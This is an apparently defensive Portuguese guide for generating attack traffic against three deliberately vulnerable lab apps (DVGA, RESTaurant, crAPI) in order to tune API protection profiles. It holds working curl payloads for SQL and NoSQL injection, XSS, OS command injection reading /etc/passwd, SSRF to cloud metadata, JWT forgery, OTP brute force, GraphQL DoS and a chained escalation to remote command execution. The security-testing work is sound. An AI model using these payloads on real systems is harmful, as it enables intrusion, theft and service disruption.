Pular para o conteúdo

Guia de Testes de API

Este guia cataloga todos os endpoints de API, vulnerabilidades intencionais e payloads de ataque nas três aplicações de teste de segurança de API. Utilize-o para construir padrões de geração de tráfego voltados ao desenvolvimento de perfis de proteção de API no F5 XC.

AplicaçãoProtocoloCaminhoPortaAutenticaçãoVulnerabilidades
DVGAGraphQL/dvga/80Nenhuma (admin: admin/password)25 cenários
RESTaurantREST (FastAPI)/restaurant/80JWT (form-encoded)7 categorias OWASP API 2023
crAPIREST (microsserviços)/8888JWT (Bearer)18+ desafios
Terminal window
ORIGIN="http://<ORIGIN_IP>"
CRAPI="http://<ORIGIN_IP>:8888"

Endpoint GraphQL: POST ${ORIGIN}/dvga/graphql GraphiQL IDE: GET ${ORIGIN}/dvga/ Credenciais de Admin: admin / password

Todas as interações com o DVGA utilizam um único endpoint (/dvga/graphql) com requisições POST contendo payloads JSON {"query":"..."}.

Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnostics
Mutations: createPaste, importPaste, uploadPaste
Types: PasteObject (id, title, content, public, owner, ipAddr, userAgent)
OwnerObject (id, username, pastes) ← referência circular
OperaçãoTipoAutenticaçãoFinalidade
pastes(public, filter, limit)QueryNãoListar pastes (injeção SQL via filter)
paste(id)QueryNãoObter um único paste
me(token)QueryNãoObter usuário por JWT (vulnerável a falsificação)
systemHealthQueryNãoVerificação de integridade
systemUpdateQueryNãoQuery lenta (~82s, vetor de DoS)
systemDiagnostics(cmd)Queryadmin/passwordExecutar comandos de SO autorizados
createPaste(title, content, public)MutationNãoCriar paste (XSS via content)
importPaste(host, port, path, scheme)MutationNãoImportar paste remoto (SSRF, injeção de comando)
uploadPaste(filename, content)MutationNãoFazer upload de paste (path traversal)

Ataque de Batch Query:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'

Recursão Profunda (referências circulares entre Owner e Paste):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'

Query de Alto Consumo de Recursos (~82 segundos de resposta):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemUpdate}"}'

Duplicação de Campo (repetir campo 500+ vezes):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'

Ataque Baseado em Alias (1000 operações com alias):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'

Introspecção (enumeração completa do schema):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'

Sugestões de Campo (erro de digitação revela campos válidos):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{titl}}"}'

SSRF via importPaste (sonda serviços internos):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'

Injeção SQL via parâmetro filter:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'

XSS Armazenado via createPaste:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'

Injeção de Log (falsificação de nome de operação):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'

Injeção de Comando de SO via importPaste:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'

Comando de SO via systemDiagnostics (requer autenticação de admin):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'

Falsificação de Token JWT (aceita tokens não assinados):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'

Escrita Arbitrária de Arquivo via uploadPaste (path traversal):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'

Swagger UI: ${ORIGIN}/restaurant/docs Especificação OpenAPI: ${ORIGIN}/restaurant/openapi.json Autenticação: JWT via POST form-encoded para /restaurant/token Funções: Customer (padrão), Employee, Chef (admin)

Terminal window
# Registrar um usuário de teste
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# Obter token JWT (ATENÇÃO: form-encoded, não JSON)
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"
EndpointMétodoAutenticaçãoFunçãoVulnerabilidade
/restaurant/registerPOSTNãoCriação de usuário
/restaurant/tokenPOSTNãoJWT com segredo fraco (97952)
/restaurant/healthcheckGETNãoVerificação de integridade
/restaurant/profileGETSimQualquerPerfil do usuário
/restaurant/profilePUTSimQualquerBOLA (modificar outros usuários)
/restaurant/profilePATCHSimQualquerBOPLA (atribuição em massa de função)
/restaurant/users/update_rolePUTSimQualquerBFLA (escalada de função)
/restaurant/menuGETSimQualquerListar itens do cardápio
/restaurant/menuPUTSimEmployee+Criar item no cardápio (SSRF via imagem)
/restaurant/menu/{item_id}PUTSimEmployee+Atualizar cardápio (SSRF via imagem)
/restaurant/menu/{item_id}DELETESimQualquerBFLA (qualquer usuário pode excluir)
/restaurant/ordersGETSimQualquerBOLA (visualizar todos os pedidos)
/restaurant/ordersPOSTSimQualquerCriar pedido
/restaurant/orders/{order_id}GETSimQualquerBOLA (acessar pedidos de outros)
/restaurant/orders/status/{order_id}GETSimQualquerStatus do pedido
/restaurant/admin/stats/diskGETSimChefInjeção de comando
/restaurant/reset-passwordPOSTNãoSolicitação de redefinição de senha
/restaurant/reset-password/new-passwordPOSTNãoDefinir nova senha
/restaurant/referral-codeGETSimQualquerObter código de indicação
/restaurant/apply-referralPOSTSimQualquerAplicar indicação
/restaurant/discount-couponsGETSimQualquerListar cupons

API1:2023 — Broken Object Level Authorization (BOLA)

Seção intitulada “API1:2023 — Broken Object Level Authorization (BOLA)”

Modificar o perfil de outro usuário:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'

Acessar pedidos de outros usuários (enumerar offset):

Terminal window
for i in 1 2 3 4 5; do
curl -sf ${ORIGIN}/restaurant/orders/${i} \
-H "Authorization: Bearer ${TOKEN}" 2>&1
echo ""
done

Força bruta no segredo fraco do JWT (segredo tem 6 dígitos: 97952):

Terminal window
# Decodifique e forje tokens em jwt.io
# Segredo: 97952 (pode ser quebrado por força bruta com hashcat -a 3 -m 16500 token '?d?d?d?d?d?d')
# Forjar um token de Chef:
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"sub":"chef","exp":9999999999}
# Assinar com o segredo: 97952

API3:2023 — Broken Object Property Level Authorization (BOPLA)

Seção intitulada “API3:2023 — Broken Object Property Level Authorization (BOPLA)”

Atribuição em massa da função de Customer para Chef:

Terminal window
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

Caminho de escalada: Customer → Employee → Chef:

Terminal window
# Passo 1: Escalar para Employee
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Employee"}'
# Passo 2: Escalar para Chef
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

API5:2023 — Broken Function Level Authorization (BFLA)

Seção intitulada “API5:2023 — Broken Function Level Authorization (BFLA)”

Excluir item do cardápio como Customer (deveria exigir Employee+):

Terminal window
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \
-H "Authorization: Bearer ${TOKEN}"

Alterar a função de outro usuário:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/users/update_role \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","role":"Customer"}'

Sondar endpoints internos via image_url do cardápio (requer função Employee):

Terminal window
# Primeiro escale para Employee via BOPLA, depois:
curl -X PUT ${ORIGIN}/restaurant/menu \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'

Injeção de Comando de SO via estatísticas de disco (requer função Chef):

Terminal window
# Após escalar para Chef:
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \
-H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \
-H "Authorization: Bearer ${TOKEN}"
Terminal window
# 1. Registrar
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. Obter token
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. Escalar para Chef (BOPLA)
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'
# 4. Reautenticar para obter token com nível Chef
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. Injeção de comando (RCE)
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \
-H "Authorization: Bearer ${TOKEN}"

Interface Web: ${CRAPI}/ MailHog: ${CRAPI}/mailhog/ (captura de e-mail para verificação) Autenticação: JWT Bearer token (RS256, vulnerável a confusão de algoritmo) Arquitetura: 7 microsserviços (identity, community, workshop, postgres, mongo, mailhog, web)

Configuração: Registrar, Verificar E-mail e Fazer Login

Seção intitulada “Configuração: Registrar, Verificar E-mail e Fazer Login”
Terminal window
# 1. Registrar
curl -X POST ${CRAPI}/identity/api/auth/signup \
-H "Content-Type: application/json" \
-d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. Verificar e-mail de confirmação no MailHog
# Acesse ${CRAPI}/mailhog/ pelo navegador ou use a API do MailHog:
curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "
import sys,json
msgs = json.load(sys.stdin)['items']
for m in msgs:
print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")
"
# 3. Fazer login e obter token JWT
TOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"
EndpointMétodoAutenticaçãoVulnerabilidade
/identity/api/auth/signupPOSTNãoRegistro
/identity/api/auth/loginPOSTNãoToken JWT (confusão de algoritmo)
/identity/api/auth/forget-passwordPOSTNãoSolicitar OTP
/identity/api/auth/v2/check-otpPOSTNãoSem limite de taxa (força bruta em OTP de 4 dígitos)
/identity/api/auth/v3/check-otpPOSTNãoVersão com limite de taxa
/identity/api/v2/user/dashboardGETSimPerfil do usuário
/identity/api/v2/user/change-emailPUTSimTroca de e-mail
/identity/api/v2/vehicle/vehiclesGETSimListar veículos (vaza UUIDs)
/identity/api/v2/vehicle/{uuid}/locationGETSimBOLA (veículo de qualquer usuário)
/identity/api/v2/user/videosPOSTSimUpload de vídeo
/identity/api/v2/user/videos/{id}GETSimExposição de dados (conversion_params)
/identity/api/v2/user/videos/{id}PUTSimAtribuição em massa (injeção de comando)
/identity/api/v2/admin/videos/{id}DELETESimBFLA (sem verificação de admin)
EndpointMétodoAutenticaçãoVulnerabilidade
/community/api/v2/community/postsGETSimExposição de dados (vaza vehicle_id e e-mail)
/community/api/v2/community/postsPOSTSimCriar postagem no blog
/community/api/v2/community/posts/{id}/commentsPOSTSimAdicionar comentário
/community/api/v2/coupon/validate-couponPOSTSimInjeção NoSQL
EndpointMétodoAutenticaçãoVulnerabilidade
/workshop/api/mechanicGETSimExposição de dados (e-mails de mecânicos)
/workshop/api/mechanic/mechanic_reportGETNãoBOLA (sem autenticação, IDs sequenciais)
/workshop/api/merchant/contact_mechanicPOSTSimSSRF + DoS
/workshop/api/shop/productsGETSimCatálogo de produtos
/workshop/api/shop/orders/POSTSimCriar pedido
/workshop/api/shop/orders/allGETSimListar pedidos
/workshop/api/shop/orders/{id}GETNãoBOLA (sem autenticação necessária)
/workshop/api/shop/orders/{id}PUTSimAtribuição em massa (status, quantity)
/workshop/api/shop/apply_couponPOSTSimInjeção SQL

Desafio 1 — BOLA: Acessar a Localização do Veículo de Outro Usuário

Seção intitulada “Desafio 1 — BOLA: Acessar a Localização do Veículo de Outro Usuário”
Terminal window
# Obtenha primeiro o UUID do seu veículo
curl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \
-H "Authorization: Bearer ${TOKEN}"
# Acessar o veículo de outro usuário (substitua o UUID)
curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \
-H "Authorization: Bearer ${TOKEN}"

Desafio 2 — BOLA: Acessar Relatórios de Mecânicos (Sem Autenticação)

Seção intitulada “Desafio 2 — BOLA: Acessar Relatórios de Mecânicos (Sem Autenticação)”
Terminal window
# Enumeração por ID sequencial — nenhum token necessário
for i in 1 2 3 4 5; do
echo "Relatório $i:"
curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}"
echo ""
done

Desafio 3 — Autenticação Quebrada: Força Bruta no OTP de Redefinição de Senha

Seção intitulada “Desafio 3 — Autenticação Quebrada: Força Bruta no OTP de Redefinição de Senha”
Terminal window
# Solicitar OTP para a vítima
curl -X POST ${CRAPI}/identity/api/auth/forget-password \
-H "Content-Type: application/json" \
-d '{"email":"victim@example.com"}'
# Força bruta no OTP de 4 dígitos (v2 NÃO tem limite de taxa)
for otp in $(seq -w 0000 9999); do
RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \
-H "Content-Type: application/json" \
-d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1)
echo "$otp: $RESULT" | grep -v "Invalid OTP" && break
done

Desafio 4 — Exposição de Dados: Vazar E-mails de Mecânicos

Seção intitulada “Desafio 4 — Exposição de Dados: Vazar E-mails de Mecânicos”
Terminal window
curl -sf ${CRAPI}/workshop/api/mechanic \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool

Desafio 5 — Exposição de Dados: Parâmetros Internos de Conversão de Vídeo

Seção intitulada “Desafio 5 — Exposição de Dados: Parâmetros Internos de Conversão de Vídeo”
Terminal window
# Fazer upload de um vídeo e inspecionar a resposta
curl -sf ${CRAPI}/identity/api/v2/user/videos \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool
# Procure pelo campo conversion_params na resposta

Desafio 6 — DoS: Camada 7 via Contato com Mecânico

Seção intitulada “Desafio 6 — DoS: Camada 7 via Contato com Mecânico”
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"Engine issue",
"vin":"VEHICLE_VIN",
"mechanic_api":"http://localhost:8080/api",
"repeat_request_if_failed":true,
"number_of_repeats":100
}'

Desafio 7 — BFLA: Excluir Vídeo via Endpoint de Admin

Seção intitulada “Desafio 7 — BFLA: Excluir Vídeo via Endpoint de Admin”
Terminal window
# Usuário comum pode acessar o endpoint de admin
curl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \
-H "Authorization: Bearer ${TOKEN}"

Desafios 8 e 9 — Atribuição em Massa: Itens Gratuitos via Manipulação de Pedido

Seção intitulada “Desafios 8 e 9 — Atribuição em Massa: Itens Gratuitos via Manipulação de Pedido”
Terminal window
# Mudar GET para PUT, modificar status e quantity
curl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"status":"returned","quantity":100}'

Desafio 10 — Injeção de Comando via Parâmetros de Conversão de Vídeo

Seção intitulada “Desafio 10 — Injeção de Comando via Parâmetros de Conversão de Vídeo”
Terminal window
curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"test",
"vin":"VIN123",
"mechanic_api":"http://169.254.169.254/latest/meta-data/",
"repeat_request_if_failed":false,
"number_of_repeats":0
}'

Desafio 12 — Injeção NoSQL: Extrair Códigos de Cupom

Seção intitulada “Desafio 12 — Injeção NoSQL: Extrair Códigos de Cupom”
Terminal window
curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"coupon_code":{"$ne":1}}'

Desafio 13 — Injeção SQL: Resgatar Cupons Múltiplas Vezes

Seção intitulada “Desafio 13 — Injeção SQL: Resgatar Cupons Múltiplas Vezes”
Terminal window
curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"

Desafio 14 — Acesso a Pedidos sem Autenticação

Seção intitulada “Desafio 14 — Acesso a Pedidos sem Autenticação”
Terminal window
# Sem cabeçalho Authorization — ainda retorna dados
for i in 1 2 3 4 5; do
curl -sf ${CRAPI}/workshop/api/shop/orders/${i}
echo ""
done
Terminal window
# Forjar um JWT com algoritmo "none" (sem verificação de assinatura):
# 1. Definir header: {"alg":"none","typ":"JWT"} e codificar em base64url
# 2. Definir payload: {"email":"admin@example.com","role":"admin"} e codificar em base64url
# 3. Unir com pontos e deixar a assinatura vazia: <header>.<payload>.
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \
-H "Authorization: Bearer ${FORGED}"

Referência Cruzada com o OWASP API Security Top 10

Seção intitulada “Referência Cruzada com o OWASP API Security Top 10”
Categoria OWASPDVGARESTaurantcrAPI
API1: BOLAPUT /profile, GET /orders/{id}Localização de veículo, relatórios de mecânicos, pedidos
API2: Autenticação QuebradaFalsificação de JWT (query me)Segredo fraco do JWT (97952)Força bruta no OTP (v2), confusão de algoritmo JWT
API3: BOPLAPATCH /profile (escalada de função)conversion_params de vídeo, exposição de e-mail de mecânico
API4: Consumo de RecursosBatch, recursão, alias, DoS por duplicação de campoEnumeração de usuários via tamanho de respostaDoS via contact_mechanic com repeat_request
API5: BFLADELETE /menu, PUT /users/update_roleDELETE /admin/videos por usuário comum
API6: Atribuição em MassaPUT /orders (status, quantity)Status/quantidade de pedido, conversion_params de vídeo
API7: SSRFMutation importPastePUT /menu image_urlURL mechanic_api em contact_mechanic
API8: InjeçãoSQL (filter), XSS (content), cmd SO (importPaste, systemDiagnostics)Cmd SO (/admin/stats/disk?parameters=)NoSQL (validate-coupon), SQL (apply_coupon)
API9: Ativos Impróprios/auth/v2/check-otp obsoleto (sem limite de taxa)
API10: Consumo Inseguro(indireto via SSRF)
GraphQL-específicoIntrospecção, batching, recursão, aliases, duplicação de campo, fragmentos circulares

Gere tráfego legítimo para estabelecer o comportamento normal da API antes de testar padrões de ataque.

Linha de base DVGA:

Terminal window
# Queries normais
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'

Linha de base RESTaurant:

Terminal window
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"
curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"
curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'

Linha de base crAPI:

Terminal window
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"

Teste de BOLA: Enumerar IDs sequenciais, trocar identificadores de usuário nas requisições, acessar recursos sem titularidade.

Teste de injeção: Payloads SQL em parâmetros filter/coupon, injeção em queries GraphQL, injeção de comando de SO via campos de parâmetros.

Teste de bypass de autenticação: Forjar tokens JWT, realizar força bruta em OTPs, usar versões depreciadas de API, confusão de algoritmo.

Teste de SSRF: URLs internas em importPaste, image_url e parâmetros mechanic_api.

Teste de DoS: Ataques GraphQL via batch/recursão/alias, repeat_request_if_failed com contagens elevadas.

Alguns ataques requerem sequências de múltiplas etapas com estado:

  1. Cadeia de escalada RESTaurant: Registrar → Token → PATCH de função para Chef → Reautenticar → Injeção de comando
  2. Fluxo completo crAPI: Cadastro → Verificar e-mail (MailHog) → Login → Adicionar veículo → Contato com mecânico (SSRF) → Manipulação de pedido
  3. Reconhecimento até exploração no DVGA: Introspecção → Descobrir systemDiagnostics → Força bruta nas credenciais de admin → Execução de comando de SO
PadrãoRequisições/segDuraçãoObservações
Linha de base (por aplicação)10-505 minEstabelecer perfil de tráfego normal
Enumeração BOLA100-5002 minVarredura de IDs sequenciais
Força bruta de OTP1000+Até encontrarMáximo de 10.000 tentativas (4 dígitos)
DoS GraphQL10-5030 segCada requisição é cara no lado do servidor
Fuzzing de injeção50-2005 minVariar payloads por requisição
Sondagem de SSRF5-202 minLento; cada requisição dispara uma chamada HTTP no servidor